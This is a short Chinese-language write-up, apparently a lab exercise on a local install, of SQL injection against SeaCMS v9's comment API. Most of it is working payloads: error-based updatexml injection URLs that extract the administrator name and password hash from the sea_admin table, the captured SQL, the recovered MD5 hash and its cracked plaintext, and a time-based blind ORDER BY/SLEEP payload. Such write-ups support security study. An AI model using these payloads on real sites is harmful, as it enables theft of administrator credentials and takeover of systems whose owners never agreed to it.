seacmsv9注入管理员账号密码+orderby+limit

一、网上收集：

海洋影视管理系统是专为不同需求的站长而设计的视频点播系统，采用的是 php5.X+mysql 的架构

二、经过源码分析，使用以下语句注入：

http://localhost/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@', updatexml(1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @'

三、没有成功，使用Wireshark抓包:

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment

WHERE m_type=1 AND id in (@\', updatexml(1,concat_ws(0x20,0x5c,(select name from#

sea_admin limit 0,1)),1), @\') ORDER BY id DESC

四、在地址栏尝试注入语句，成功注入出账号为admin：

password：

http://localhost/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@', updatexml(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @'

注入密码为23a7bbd73250516f069d，可以看出是经过md5加密的，于是到https://cmd5.com/ 解密，得到密码为admin123

  ORDER BY IF((SELECT SUBSTR(password,1,1) FROM sea_admin LIMIT 0,1)='a', SLEEP(5), 1)

  如果页面响应时间延迟，则说明条件成立；
